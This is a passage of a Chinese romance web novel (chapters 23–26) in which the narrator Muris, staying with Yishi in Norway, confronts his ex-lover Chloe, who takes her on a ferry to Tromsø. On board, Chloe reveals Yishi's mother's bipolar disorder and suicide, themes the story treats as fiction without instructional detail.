第23章连一个问题你都问不出来…… 我像一株爬山虎一样贴在门上,耳朵塞在门缝里,十根手指和十根脚趾全部用起劲,也只能依稀听出几句闷闷的对话。 “我以为我们会在更灰暗的地方重逢呢。”克洛伊说。 “比如凯文的诊室,对吧?用生。殖器给病人看牙是他的独家绝技。”伊实没有感情地说。 “我来正是要和你说这个……”克洛伊的声音渐渐小下去,又渐渐靠近,她绕了过来,想必站在伊实的面前,深情款款地望着他,“那时的我已经怀孕了。” Pregnant?PREGNANT?! 我还没来得及消化这句精彩到世间万物都显得苍白的信息,门外响起了稀稀落落的啜泣声。 “你不能怪我,真的,伊实,你不能怪我。那时的我们太疯狂了,你不在乎能不能喝到第二天晚上的酒,可我在乎!你不管家里的饼干是不是馊的,可我在乎!你不在乎熟人派对上能不能穿上体面的衣服,可我在乎!那些几乎要杀死我!完全把我逼到了绝境……伊实,你太沉浸于自己的世界了你知道吗?你说你要杀了你父亲,我吓坏了,你根本没有想过我 的位置,但我没有离开你,伊实,都是因为我爱你。” “……” “是,如果你非要怪的话那就尽情责怪好了,我一时鬼迷心窍,幻想在他身上寻找关于你的温度。你变得冷漠,残酷,无所顾忌,你根本不知道那时的你有多么令人害怕!不,我不会在跟你吵了,我是来解释这一切的。听我说,伊实,那段时间我意外发现自己怀孕了,百分百是你的孩子,这点请你一定要信任我。我本想告诉你,却发觉你处在低谷无法自拔,我该怎么办?我们除了争吵就是争吵,你告诉我,我该怎么办?” 还能怎么办!要我我也选牙医!我在这头垂头丧气,她在那头追悔莫及。 超越空间和想象力的文字加重了我的眩晕程度,我重新躺在了床上,平躺,就是那种方便推进太平间的姿势。我开始思考,回头的人,究竟是在告别,还是在重蹈覆辙。 更为懦弱的是,世人皆知黑洞吸纳万物,可我连看一眼的勇气都没有。为了惩罚我的不诚实和侥幸心,先要让我遭受一遍电闪雷鸣,然后踩过地狱的荆棘,最后才轮到一无所有。 难道我只能没出息地待在这扇门后面,等待不知道时候才会到来的风平浪静吗?雪落在我头上那么我对雪就产生了意义,我和雪都会过期,然而在保鲜期里还担心什么中不中毒碍不碍事的?好了,把袖子整个撸上去,像个身经百战的俘虏一样走出去,就这样。 我渴了,胃凉了,需要喝一杯热水,或许重逢的好事也该落在我头上,咖啡曾不止一次陷害过我,导致我好几年不敢碰它,如今我已经原谅它了,决定就用它代替热水。 我赤脚走出卧室,没有刻意压制脚步声,而我的脚印仍低落得掀不起一丝波澜。我走到客厅,扫过一张惊恐且美丽的脸庞,又步履不停地拐进厨房,找到常用的马克杯,泡起笨拙的咖啡。 “她是谁?!” 身后传来沸水般的质问。 我是,一个心里回味着你浓密齐肩的金发,泫然泪下又闪闪发光的眼眸,因冻僵而显得凄哀的额头和鼻尖,以及脖子上仿佛被极光照耀的翡翠项链,的……的画家。只有画家才会兴致勃勃地反复画一幅画。 那是我见过的最唯美的一张脸,仅仅用一秒注视便让人甘愿成为她的教徒。靠近海会闻到海的气息,靠近她的美貌会闻到金钱腐烂的气息。或许几年前的她出落得更完美,更有令人一见钟情的能力,不幸的是有什么荒诞发生了,就发生在她眼窝那块薄薄的皮肤上。 我往咖啡里灌上满满的牛奶,快要溢出杯口,比例早就乱了套,不分是非地搅拌以后颜色更是枯瘦。我趴下去小抿了一口,用衣服下摆包着杯底,小心翼翼地捧出去。 当我再次出现在客厅,再次受邀于克洛伊犀利忍耐的目光,世界如同打了麻醉,陷入动弹不得的困境,我走的每一步都像走在平衡木上。流动性极强的咖啡需要极强的专注,使我成功做到了完全忽视他们两个,他们是相隔甚远是抱在一起还是亲在一起,统统看不见。 我穿越客厅,直直来到玄关,稳重地放下咖啡,穿袜子,穿鞋,稳重地拿起咖啡,用胳膊的重量压下门把手,用脚开门,风呼啦啦地卷起头发,用脚关门,风一下子便小了。 神经病,一屁股坐在雪上喝热咖啡,和死了上桌吃自己的宴席有什么两样。唯一值得理直气壮的是门被我关得十分彻底,动静无法穿透这扇门进我的耳朵。 天又在取之不尽用之不竭地暗下去,不停地黑下去,我纳闷哪有那么多的黑够用,到底会从哪个节点开始变亮,还是说压根不能变亮,每天见到的不过是视网膜在刷档重来。为什么每次抬头仰望都是它变黑的过程,从日照雪山开始变黑,从泛黄的海平面开始变黑,从阴森的普鲁士蓝开始变黑? 搁浅的白鲸,等死的日日夜夜,眼前播放的就是这样一种景象吧。 伊实似乎误会了我很讨厌甚至痛恨烟味,因为我提起父亲的时候从没好脸色,然而实际上我不讨厌,当然不能说喜欢,呛喉咙的感受我不想再来一回。是我的鼻子,我的鼻子学会了通过烟草味寻找巢穴。 在他怀里呼吸时,我感到格外富裕,仿佛把那个郁郁寡欢的小孩和现在的我串联在了一起。 那时她还不知道,烟味的另一头,并不是家。 不是闻到这个气味就能吃上饭,喋喋不休地倾诉,撒了娇以后要道歉,坐在锈烂的课桌上做功课,日记本的封面没法署名,不知道给谁写信…… 这破天简直在猥亵我,雪也丑陋,极光更是不见踪影。我的喉咙似生吞了一整块动物黄油,腻得反胃,难道是放牛奶时加了过量了糖?天老爷,都什么时候了,你还在欲盖弥彰? 只不过是被骂了两句,咖啡立刻便冷了下去。我在门口坐了很久,杯子怎么捂也捂不热了。 风齐刷刷地向这边倒,原来是门又开了。走出来的是一种不小心踩到猫尾巴的脚步。 “喂。”克洛伊居高临下地看我,正了正形。 我歪过身子也去看她,只是歪身子,不动脖子,这样能保证风不从领口灌进来。 “你是谁?”她问。 怎么对我来来回回就只有两句台词,我腹诽道,嘴上没有回答,我可以装作听不懂。 “不明白我的话吗?”她很想蹲下来,但那样有失分寸,所以掐起我的脸对准她,又问了一遍:“你是谁?他不告诉我,那就由你亲自告诉我。” 天老爷,她真是漂亮,高耸的鼻梁和明媚的褐色瞳孔。我招,我招。 “我叫穆里斯,在中国东部的一个小县城里出生。”我借用了伊实的口头禅,作为我的艺名。 “谁问你这个了?你和他在约会,是不是?”她声音里有惶恐,不过依然很强势。 我拂开她的手,只有这样我才好发音,“没有,我在他家做小偷,被人赃俱获之后求他给我口饭吃,你见到的也只是我再度作案的现场而已。” “你觉得这很好笑吗?”克洛伊荒唐地瞥开目光,又瞥回来,眼里还是蓄满了泪水,“不管怎样,离他远点,听见了吗?离他远点!” 她抹了抹眼角,裹紧大衣,往雪地里走去。 她为什么不住下呢?我望着她的背影想,脸皮没有我这么厚吧。 我本想目送她直到她上了某辆接驳车,结果该死的风又给了我一耳光。 “你要在门口待到什么时候?”伊实抵着门边,问。 我沉默。 “没聊完怎么不追上去接着聊?”他很会用英文翻白眼。 我默默起身,拍了拍裤子后面的雪,从他身侧挤进门,也可能撞了他一下。 “晚饭想吃什么?准爸爸。”我很绅士地问道,一路往里走。 伊实用力关上门,也许还是那股风在助力,总之余震从我的脚底心一路漫延到头顶,仿佛这是何等龙潭虎穴。 “我现在心情一团糟,你最好别掺合。”他说。 我嗯了一声,去厨房给自己弄点伙食。拌了一碗蔬果沙拉,烤了几片面包和牛肉,站在锅前直接用餐,叉子划过锅底发出刺耳的声音,在墓碑上刻墓志铭时我也会用这么大的力气。 晚上我又躺回了沙发,那张迎着落地窗,垫子可以掀开,柔软适中的沙发。我一直开着电视,有点儿演变到过度依赖的程度,一直开着,有时装模作样地换个频道看。 伊实沐浴完,看到我一副“就算抓我尾巴也起不了劲”的模样蜗居在那里,说我冻坏了脑袋。我不予置否。 他走过来,扯了扯我身上的毛毯,那是我唯一的保护罩,“去床上睡。”他说。 我一动未动,发空洞的呆。 伊实蹲下来,手指在我眼前晃了晃,确认我至少还有眨眼的本能。 “连一个问题你都问不出来吗?”他说。 我这才瞥去一眼,嗓音生涩地开口:“你让我不要掺合。” “那是因为你直接抛了个荒谬的答案给我。” 我闭上眼睛:“没必要。” 伊实盘腿而坐,手伸进来握住我的手,他老把它当成一个麦克风,又或是拴住宠物的链条,举着牵着心里才踏实似的。 “为什么不问?你 应该要问。如果你在想,那就问。“他说。 我故意留了个空档,问:“俄语的没必要怎么说?” “Ялюблюебя。”他回答得轻巧且迅速。 这在意料之外,我感到好笑,虚脱的好笑:“没准你在耍什么花样。” “嗯,知道你不信我。”伊实吻了吻我的指尖,沉声低语:“但我也不想让你从马背上摔下来。” 几乎是一瞬间,我的眼眶发酵变酸。由于担忧核泄漏,我不免紧紧地闭着双唇。 “很抱歉吼了你。”他擦过我的脸蛋,像对待一个洋娃娃。 这份温柔有太多值得诟病的地方了,如果只是心疼,他会粗鲁地把手指塞进我嘴巴里让我咬两口解气,如果只是安慰,他会二话不说地亲口撬开我的牙齿逼供,但他却像对待一个洋娃娃一样对待我——表明他此时,正和我一样破碎。 不管是因为什么而破碎,总而言之,我们半斤八两,或者说,势均力敌。 伊实埋下脸,“我不知道从何说起……可能你也一样,这很难……最烦人的是它们不会自己就这么流走。” “她明天还会来吗?”我问。 “不会。” “How?” “我这没她想要的了。” “你人就在这。” “但没有她想要的。” 算了。 我关掉电视机,缩进毛毯与世隔绝,是人是鬼都得遵循原则,不随便打扰被窝里的人。 过了很久,漫长又狭窄的时间,我在逼仄的沙发里睡过去- 第二天醒来,胳膊还是那条胳膊,床还是那张床,人还是那个人。 只有我被偷袭。 第24章 第24章他不在家 正如笔盖和皮筋始终受到地心引力的驱使而把坠落和不见踪影当作人生目的一样,伊实开始气愤我每晚屡教不改地睡在沙发。管天管地还管得了人睡觉吗?我说,我躺在沙发熬个夜也不允许?总之接连几天,这样的暴动都在发生:我固执地在沙发窝到很晚,他固执地等我睡着觉把我抱回卧室。他在等我妥协,实际上我从来没说过第二天醒来第一眼看见的还是他,心里感到有所不服什么的。 克洛伊那天之后究竟有没有再来拜访无从知晓,因为伊实连着两日白天出门晚上回,先是给前同事搬家,在一起喝了点小酒,后是重操旧业在马场骑马,结束后喝了点小酒。这大概就是他平日里的生活,唯一不同的地方是现在身后跟了一个拖油瓶。 “不去。”我记得我每次都是这样回答的。由于后面没能给出足够有说服力的理由,伊实一律充耳不闻。 前同事的新家在海边,两座独栋红色小木屋之间有一套被雪覆盖的长方形桌椅,我用上面的雪捏了两个小雪人,一个大一个小,大的躺着,小的站着,我便是用这种极其隐晦的方式表达自己的野心。 伊实说他们新家的位置非常适合钓鱼,既有雪山的庇护,又有海浪的勾引,除了提高了中风的风险,就金钱和情绪的价值上来说,搬家是正确的决定。我一时间竟听不明白这是认可还是反讽。 好在他的前同事跟我一样愚钝,老好人似的龇个大牙笑。他十分欢迎我,哪怕我铁了心不愿开口讲话,他还是贡献出家里最美味的蟹棒和棕奶酪招待我。以至于最后我有点流连忘返,被伊实骂了一顿。 “他可不识字,认不出你脸上‘拜托拜托收留我吧’这一行大字。”他捏着嗓音说。 不跟他吵,我一点儿都不想跟他吵。他自己还有一堆毛病需要修理呢,竟管起我来了,弼马温的风范。 后来在马场,我实在看不下去了,酒精没有成功摧残他的身体算他厉害,没有嚎啕大哭这一正常人类应有的能力也算他倒霉,可凭什么带上我东奔西走?我又不需要劳心费财地用一个绯闻去掩盖另一个绯闻,用枝繁叶茂的外在活动去掩盖更加枝繁叶茂的心理活动,这一切毫无意义,至少我没得选择,所以我觉得毫无意义。 所以在伊实骑马的时候,我用他的手机给布鲁克打去一通电话。 “喂,是我。”我语气严峻,如同一位经验丰富的刽子手遇上了一具棘手的尸体。 “你?哦,你。”布鲁克咳了两声,嗓子清晰了些,“抱歉,中午的披萨放了很多芝士。怎么了,为什么给我打电话?伊实说你再也不理我了,从此记恨上我了。” “还好,那天我们差点上床了。”我说,尽可能表明我对他的谅解。 “啊……我想也是,我说的没错吧。” “听仔细点,是差点。” “开什么玩笑,他站不起来?” “不是,我紧要关头想起了你的话,偏要和你作对而已。”我故意找不痛快,瞎扯淡的本领还是初中学到植物嫁接那一课时得到的启发,倒要看看能擦出怎样的火花。 布鲁克果然垂头丧气:“你还是怪我咯?” “我想问你一个问题。” “什么都可以,只要你答应下次还一起出来玩。” “伊实的地址是你透露给克洛伊的,对吗?” “……” 对面陷入海水退潮般的沉默,良久,才发出截然不同的声音,更为沮丧和痛心疾首:“一时糊涂。” 我咬了咬唇,问:“为什么?处心积虑地把他藏起来,现在又大大方方地供出来,在我的国家,叛徒是最可恨的。” “在哪儿都一样,孩子。”布鲁克说,“但有些事情必须做个了结。” “那不是了结,是纠缠,了结是像我一样什么都不要,拖个行李箱就他妈的一个人到这里,是他妈的开车从不拐弯也从不踩刹车,这才叫了结好吗?你分明就是在制造纠缠!”我越说越躁,说错了几个词,但伟大的名言名句总是在错误中产生的。 布鲁克再次沉默了片刻,好似贴心地留给我喘息的时间,而后才说道:“孩子,你并不知道他们的过去。” “我也不想知道。谁没有过去?我难道一出生脑子就有问题吗?过去过去过去,一个个过去毁了当下。” 这一次,布鲁克的沉默没有尽头。 我最终还是没有放出满肚子的邪念,否则又干出什么躺在土里也追悔莫及的事,被阴间同事挖出来咀嚼,说难怪没人给我烧钱。 “布鲁克,”我恢复原来薄而轻的语调,说:“你做好人就做到底,无论用什么方法,把伊实支开,还我个清净。对了,干脆把他们锁在一间房里,不做。爱就出不去。就像你说的,总要做个了结,你就是上帝,我是你的随从,算我求求你,给那个执迷不悟的家伙下一记猛药。” 我没听到答复便挂了电话,伊实下马往这边走来,抄近道越过栅栏,也就只有这种时候他知道最近的道路是哪条。 “我打电话给布鲁克了。”我不打自招,不过其中带点儿挑衅的成分。 “说什么了?”伊实穿上外套,出我意料的是他好像并不在意,“水。” 我从包里拿出水壶递给他,说:“跟他说,我没有讨厌他。” 伊实扯了扯嘴角,“那真是辛苦你了。” 大概在暗讽我兴师动众。 某些赌局在下注之后就必须得离开了,不然血溅到衣服上百口莫辩。不过,呆着或许也能听到好消息,比如某人躲得过初一躲不过十五,而在十五之前本人未雨绸缪早就找好了容身之处。 布鲁克花了一天的时间想到办法引走伊实,至少在我看来是这样,就算事实是这两位情比金坚的忘年交兄弟把酒言欢,用我作下酒菜,那也无所谓。 重要的是一位金发美人得偿所愿,一位白发冤大头治好了夜长梦多,以及这里一位黑发宅女耳根清静。 伊实临走前警告我哪儿也不许去,尤其是屋外那片海,我笑他一大把年纪了还有分离焦虑,当babysitter还当上瘾了。这句话惹得他二话不说地折返回来,站立在我面前,用审视的眼神预判我的人身安全,最后俯下身咬破了我的嘴皮 。 他琢磨琢磨,对着我莫名其妙的神情说:“对,babysitter从不失职,乖乖睡觉吧宝贝。” “……”我恼怒地推开他。 要走就快点走!夜长梦多会传染的不知道吗?! 伊实走了,我也用一双拳头殴打并掐死了一具枕头。 电视剧的大结局是在任何医院都买不到的致幻剂,镜头转到清晨的街道,一家虚了焦的蛋糕店,门口的盆栽,滴下来的露水,到这里就结束了。让我拍,就拍下一秒一块巨大的霓虹灯招牌突然从天而降,砸烂蛋糕店和那顶装腔作势的盆栽,理由是,魔幻现实主义也算一种现实。 我在笔记本电脑上搜索最近的天气预报,天晴,but多云。中国象棋有种局面叫做困毙,没被将军,but无子可动。古有夸父追日,今有我追极光。能把同一部色。情。片反反复复利用的人注定长情,汲取快乐或许是最初目的但绝不是那人的最终目的,不然你就瞧着吧,裤子流淌到脚踝,餐巾纸攥在手里,东风若不来这一切都是白费,他会维持这样的姿态直到找到自己的缪斯之神为止。 对了,厨房里还有一点儿Smash*,味蕾上的刺激勉强能弥补这世间求而不得的遗憾。于是我煮了一锅纯牛奶,把巧克力妙脆角丢进去,直到里面的芯变得软烂,立马捞起。尝一口发现颇得伊实的要领,相处这么久我也学会了做湿垃圾。 落地窗长得太像魔镜,若有似无地印出我的影子,又制造出一幅接近真实的幻境,令人很难不把发丝捋到耳后然后问“谁是这个世界上最美的女人”。 可惜时间证明了这只是在自找没趣。我要去睡觉了。 可就连晚安也不尽人意,门外响起一阵拍门声。 我万万没想到来人会是克洛伊。 ? 别说没想到了,我甚至都不信。造化弄人连个空子也不让钻吗? 我张了张嘴巴,竟然在齁咸齁甜的零食上遭了报应,声音糊成一团:“他不在家。” 克洛伊犀利的目光死死盯着我,轻吐:“我知道。” “……” “我来找你。” 我眼睁睁地看她嘴里冒出热气,鞋底一片泥泞,走进屋子里,在地板上踩出咯哒咯哒如同钟摆故障反复在同一钟头晃动的声音,所有她走过的地方,都失去了井井有条的资格。 “别用那种眼神看我,我只是想和你玩玩,谈点女孩子之间的话题。”她奔着厨房去,不一会儿便从里面找出了两瓶威士忌,冲我一笑:“但不是在这儿,我一点都不觉得这地方有意思。幸运的是,我还知道他的习惯。”她晃了晃手中的威士忌,神情俏皮,三两步走到我跟前。 我没有动弹,她便对我木讷的表现嗤之以鼻,上下打量,“别跟我说你有那么无聊,夜晚一个人躺在床上等着身体发胖发臭,你有吗?” 我也上下看了看她,不禁咽了下口水,她很苗条,并且很香。 “不管你有没有,跟我去逛逛,瞧你的黑眼圈。”她高我半个头,额头贴下来,像一名高傲且蛊惑人心的游说家,“Thingsshouldchange,right” 威士忌被藏进克洛伊温暖的大衣里,在她的胳肢窝下,而她伸出一只手抓住我的手腕,随后再次踏响咯哒咯哒的脚步。 “Wait.”我说,用了点力道,她拉不动我。 “怎么,你要当个缩头乌龟——” “不是,”我打断她,扯了扯衣领:“外面冷,我加件衣服。” 第25章 第25章别再说了 海水黑得令人发懵,尤其破浪泛白,水花如呕吐物一样翻滚,透澈的玻璃窗营造出一种用长矛做成的桅杆好巧不巧插在我的衣领,不致命却令人彻底傻眼的氛围。 四十分钟以前我还在挑选我和伊实的围巾哪条更保暖,四十分钟以后,伊实的围巾登上了一艘不明目的地的游轮。 克洛伊坐在餐桌旁,倚靠船身,用手里的玻璃杯碰了碰窗户,因为我说我不想喝酒,她只好和虚无干杯。 她解释这是一艘开往特罗姆瑟的轮渡,今日最后一班,开弓没有回头箭,要我用“有问必答”来还船票的债。我老遇到这种强买强卖的事件,仿佛我的意见是廉价的赠品,丢掉也不可惜。 虽说要我“有问必答”,但她迟迟未抛出问题,而是自顾地点评起沿途风光。什么伸手不见五指啦,什么路人冷漠得连眼睛都要藏起来啦,不知道的会纳闷进棺材为什么还要特地坐飞机去。 她凄凉的双唇不停说凄凉的话,为了给挪威正名,我努力控制视线,尽量从她娇美的面孔上移开。 “天空不是24小时都是黑的,也有太阳,夏天也能穿上短袖。还有,你见过极光吗?那个很美,可以认为是太阳的把戏,是真的很美。这里的人的确总保持着一定距离,但这里的酒吧也会出醉汉,街道也会出小偷。”我说。 克洛伊笑了一下,身子往前倾,手肘搁在桌面上,我才发现她的脖子空落落的,那条翡翠项链不见踪影。她看着我说:“你才来多久,就这么明了?他带你去那么多地方,你现在在为谁说话?” 我愣了愣,没意识到真实存在且证据确凿的偏心。 克洛伊放下酒杯,轻轻用杯底和桌面摩擦,舔了舔缺水的嘴唇,说:“他就是图新鲜,还能是什么。这里根本没你说的那么好,你也是,看起来就无趣得要命,有什么好的。他还保持着把酒放在从右往左数第二个橱柜里的习惯,不就表明了他还没完全抛弃以前的生活吗?说得好听,不在乎钱,不在乎名声,烂透了知道说不在乎了,到头来还不是靠布鲁克救济。” 我捋开额头前的头发,又挠了挠发际线,几秒间做了许多小动作。我插不上话,但不能表现出来,只好让自己忙起来。 “嘿——”克洛伊竟然立马精准地堵死了我的去路,“你在听吗?又装听不懂?我说——HeisSUCKS!”最后一句她提高了音量,引来过路人不解的目光,又在看到她的脸之后眉头舒展。 人总会为美丽的东西宽宏大量一次。 于是我顺着她的话头,说:“嗯,他很差劲。” 克洛伊皱起眉,对我的软弱感到愤怒:“你有什么毛病?” “只是赞同你的观点。” “难以置信他居然选择了你这种人却没选择我。”她吞了一大口酒。 我看着她喝完,褐红色的酒劲从喉咙漫上太阳穴,过一会儿又消下去,才继续说道:“没有吧,他看起来这一生只会在喝什么酒上面做选择和动脑筋。” “别说了。” “他做事让人猜不到理由,更不存在戛然而止的情况。” “别再说了。” “……”我适时闭上嘴,她豆大的泪水掉下来,显得我的言辞十分卑鄙。 这片海域初来乍到的鳕鱼未曾想象这般局面,以为今夜会是别人的良宵,按原计划我应该生一通闷气然后和自己的遐想好好下一盘棋,可现实超乎了我的预料。我想可怜她,当然也是这样表现的,但心里一点都不,不能,不会,做不到,更无法开导她的误解,就像一个没有营业执照的小贩只能闭起门户做点拧巴小生意,讲不出有意义的商业谈吐。 克洛伊低声抽噎,压抑住了声音却崩坏了表情,前言不搭后语,又说起了伊实的好。 与其说她爱的是伊实,不如说她爱的是倾注在身上的保护欲。她时常暴露弱点,在酒吧打盹,或者不经意蹭一些来路不明的胳膊好让麻烦找上门,不过她从不呕吐,即使有时透支了额度,她也会在卫生间漱完口再出来。如此一来拯救就会如期而至,伊实就是那样降临到她身边的。 男人 在这种时刻更容易上当。她说,用一种惊世骇俗的、笃定的语气。 伊实一次次地救她于水火,一次次地,某一天,她生出和他共度一生的想法,但第二天她就忘了,每回都这样,她承认自己最大的缺点是没有做决定的能力,但总归命运不公,不然她也不会这样。 对此我投一票赞同,天老爷经常略施小计便能让一个人苦不堪言。况且,执迷不悟不是那样好化解的。 可是亲爱的,这让我难过,哪个灾难有商量的余地,而你却选择主动走进那条没有路灯的小道。有人爱你,而你却只爱人一瞬间。深不见底的峡谷之间摇摇欲坠的桥,你惊险地走过,回过头竟要毁掉它。 我从口袋里拿出一团皱巴巴的卫生纸,让她擦擦又爱又恨的泪水,递过去时手又开始发抖,或许和我即将要说的话有关。 “我不喜欢你。”我说,简洁且自作主张。 克洛伊朦胧的表情怔愣住,眼泪不再流,但呼吸未能跟上脚步,一口哭腔冲我而来:“你以为我看你很顺眼?你以为我和一个抢走我男人的bitch谈话是为了获得她的喜欢?!笑话!你还没听明白吗?我失去的你也会失去,你应该谢谢我,傻姑娘。” 失去的前提是拥有才行,连我本人都无法下定论的命题,旁人带着偏见轻轻松松就写下了答案。我会考虑考虑把这作为论据之一,直到我找到最清晰稳妥的架构。 “我来这一个月都不到,”我用发抖的那只手捂住脖子,斜方肌很僵硬,“你如果要来,为什么不早点来?” 克洛伊提了提嘴角,自嘲道:“能早点的话,我在几年前就早了。如今只有等你消失了,我还能有一点转机。” “有没有一种可能,我对他来说其实没那么重要。”我说。 “你在炫耀吗?”克洛伊眉头蹙起瞪我一眼,“他对人不常有耐心。反而你,看看你,不如我爱他。” 不同度量单位之间不能比较是基本常识,我和她说不明白。倒是她无意中掌握了让我不停冒汗的技巧,谎言听多了的小孩是会畏惧听见真相的。 我向服务生讨要了一样的玻璃杯,给自己倒了半杯威士忌,这时的我尚未意识到纯饮其实需要一定的魄力。 “船什么时候停靠?”我问。 “明天早晨八点。”克洛伊在手提包里翻找着什么。 “我们要在这坐一晚上吗?”我又问。 她干脆把东西都倒在桌面上,许多小玩意散落一片,她终于找到了口红,撑开嘴皮一边涂,一边说:“你可以在这坐一晚上,我反正要去睡觉。” 一个白色小塑料瓶滚到我手边,我拿起来晃了晃,里面的颗粒下起倾盆大雨,我递给她,随口问:“这是什么?” “安眠药。”克洛伊一股脑儿把所有东西塞回包里,丝毫没有为下一次补妆着想,“彻夜难眠的滋味不好受。” “是的。” 我跟着克洛伊走上一层楼梯,绕过半个船舱,来到她订的内舱房,拥挤得叫人舒展不开手脚,好在足够简单整洁,和学生宿舍比起来这不算什么。 她脱掉中跟靴子和长袜,踩上被褥,然后跪在床铺上脱。衣服,最后只剩一件简单的卡其色打底衫,和一条颜色偏浓的黑色丝袜。 我效仿她,一样脱了鞋子和袜子,踩上被褥,感到不妙,便多踩了几下,用手也摁了几下。完蛋,又要睡不着觉了。 “克洛伊,”我呼唤道,这似乎是我第一次喊她的名字,陌生得舌头都捋不直,“能给我点安眠药吗?” 她盘腿坐着,往酒里兑苏打水,正心烦的模样,对我扬了扬下巴:“自己拿。” 得到准许,我伸长手臂勾过她的手提包,往里摸索。手背仿佛扎满了密密麻麻的针孔,没有方向感和平衡力,找了很久才找到。 安眠药会加重我的焦躁,我十分明确这一点,小小的一颗药片,不足一指甲盖的药片,在我看来明码标价,该有的刑罚都在上面,这令我下意识感到胆怯。 但转念一想,我早就不剩健康了,什么时候被一则鬼故事吓得心脏骤停也在意料之中。好了,睡一觉,有什么明天再说,到了特罗姆瑟继续跟着克洛伊,若是她想甩掉我,那我就在港口等着,大不了挨一顿骂而已。 “喂。”克洛伊突然抱怨道:“你在干什么?拿个药也手抖?” 我感到尴尬,正想解释,却见她挑起眉毛,面露微笑:“难不成你也是个精神病?叫什么来着,躁郁症。” 我顿时扩大了眼睛,“也?你是吗?” 克洛伊收敛了表情,变得严肃但兴致如刺破的气球一样炸开,“不会吧!你不知道?伊实没和你说过?” 我心跳得极快,眼球几乎快要干裂开。 “啊!我明白了!”克洛伊咧开嘴笑,摇头的时候又很是怜悯,“还真有那么巧合的事……” 这话我在哪里听过,我等待她的下文。 “米勒太太就是这个病,自杀过十四次,有我在场的就有四次。伊实的母亲。” 耳鸣…… “割腕、上吊、吞药,在我印象里她都试了一遍,不怕疼的,太疯癫了。” 呕吐欲…… “你是不是也这样?不对,你怕冷。啊,我开始羡慕你了,如果和米勒太太有一样的病的话,他肯定心软了,舍不得放手。” 肠道交织,心悸乏力…… “想来也有五年了……” 我跌跌撞撞冲出房门,头和膝盖一起跪在地上,发了疯地抠嗓子眼。 第26章 第26章不要了,不求了。行吗?…… 当然什么也没吐出来。 食指和中指沾满了口水,小舌发痒,好似有谁塞了一口钢丝球在里面。急急忙忙赶来的侍者蹲下来问我发生了什么事,我啊啊了半天像一只绝命乌鸦。我不断摆手,吞咽,发声。当他拿出手机准备呼叫救援,我终于从一百万只蚂蚁头顶迈过去。 “我很好,我很好……”即便语不成声,我仍尽力挤出一抹笑容,“我喝了点酒,有点得意忘形了,谢谢你……” 说完我扶着墙壁站起身,原路返回。没想到敲错了房门,连连低头抱歉。因此克洛伊给我开门的时候看到的是我低三下四的头颅。 “你上哪儿去了?”她诡异地瞥了我一眼。 “厕所。”我回答,慢吞吞地坐到床上,说:“你刚刚话还没讲完。” “还不是因为你和见了光的耗子一样跑出去。”克洛伊贴着我的手臂,在我身旁坐下,“怕了?难过了?你的悟性也没有我想的那样差嘛。” 我有一股将她立马扑倒在地的冲动,但阀门关不上了,我的力气持续泄漏。况且冤有头债有主,狗娘养的坏了事不能把狗的饭碗砸了。 “继续和我说说吧,我教你怎么得这个病。”我说。 克洛伊嫌恶地往后挪了一寸,“谁要得了?难怪呢,从第一眼你给我的感觉就不一样,原来你也是个疯子。” “如果自杀过就算疯子的话,那么的确,我是个疯子。”我说。 克洛伊咬牙:“我真不该把你劫走。” “是我自愿跟着你。” “Jesus……”克洛伊喃喃,躺回自己的床,“明早我给伊实打电话,你跟他回去。” 我宁愿海上的风浪更大些,搅得船上所有乘客不得安宁,那样我才好潜伏其中。克洛伊把灯关掉,我又把灯打开,站在床尾,做个稻草人。 “你歧视精神病吗?不发病的时候我们还是很好沟通的。”我说。 克洛伊撑起半个身子,脸色难看,“你们就像定时炸弹,没人愿意收到定时炸弹。” 左胸肋骨和脖子之间的地方不停作痛,可以选择的话我想单独把这几根发霉的骨头取出来拿去火化,再以骨灰泡水的方式回到我的身体里。 “米勒太太还活着吗?”我问。 “死了。” “什么时候?” “五年前。” “五年前我刚好确诊, 精神病也会转世投胎吗?” “你的样子真可怕……” 说到底,我还是吃了信息差的亏,头两年东奔西走被人坑蒙拐骗,寻找除了药物之外的解救之道,唯独没想过大洋彼岸有位太太不声不响地把遗产交代给了我。有那么巧合的事吗?谁出了老千?还是说我的命要贱就贱到底,女体盛似的摆满佳肴,这群人连我的头发丝也不放过,连看不见的人格也不放过。 “她为什么死了?”我就地坐下,抱膝蜷缩挤在一对单人床之间,起夜的阿猫阿狗,总不可怕了吧。 “你……”克洛伊欲言又止。 “我睡不惯这里的床。”我主动解释道,然后又问了一遍:“她是怎么死的?” “我不知道,”克洛伊抓了抓头发,抓出一头凌乱,“听说是开枪自杀,完全没有预兆,那天早晨她还笑着跟我说了早上好。但我知道这一切都跟伊实的亲生父亲有关,米勒太太之前是布朗太太。总之我没兴趣了解疯子的生活,你问我也没用。” “这样啊。”我失望地低下头,和她说了声晚安,便点掉了灯光。 被她这么一说我不得不崇洋媚外了,国外连死法都有更多选择,除非说能有位武功高强的侠客,手腕一转就轻松拧断我的脖子,那我觉得枪杀也没啥好崇拜的。 小小的床舱陷入黑暗之后变得无比广阔,轮渡微微起伏在我屁股下面打圈,床头有一面小窗,什么也看不见,外面和里面一样黑,黑得别无所求,纯膈应人。 好消息是我在应对戏耍这一事上经验丰富,我双脚交叠走上钢丝是为了磨破脚底心,而不是走到大洋彼岸,所以无论对面有什么我都不应该期待,也没有谁替我主持公道。 过了半夜,在酒精作用下克洛伊睡得十分踏实,即使她在睡着之前翻来覆去地踢被子,催促我别像撞鬼的流浪汉一样杵在那儿,影响她的心情。事实证明和一个精神病共处一室并没有那么困难,她睡得很香。 单人床之间的小桌板上亮起一片光,伴随着震动。我爬过去查看,凌晨三点钟,伊实终于找到了我的去向。 肯定要接通啊,如果是正在熟睡的那位,肯定会接通。我接通了。 “克洛伊,你把她带去哪儿了?我有没有警告过你,别打她的主意?” 啊,他在找我,也不一定找的是我,可是为什么呢?伊实,听见你的声音我好想哭。 “说话!她在哪儿?!”伊实厉声质问,夹杂更为沸腾的风雪声。这种语气我从未听闻,凶猛暴力,心急如焚,酝酿了贪恋的犯罪,夺舍我的听觉,血淋淋地剖开。 “伊实……”我沙哑的嗓子正逐渐冷却,在它成为装饰品之前,我反复叫唤:“伊实,伊实……”可除了第一声,早就发不出别的动静了。 好在如愿以偿地将身份传递到了对面,我仿佛看见伊实猛地停下脚步,回过头,再回过头,极其滑稽的不倒翁。 “穆里斯,是你吗?对吗?她带你去哪儿了?”伊实的呼吸瞬间轻下来。 “特罗姆瑟。”我说,还想说别的,“船上。”还想说别的,“睡不着。”还想说别的,“……” 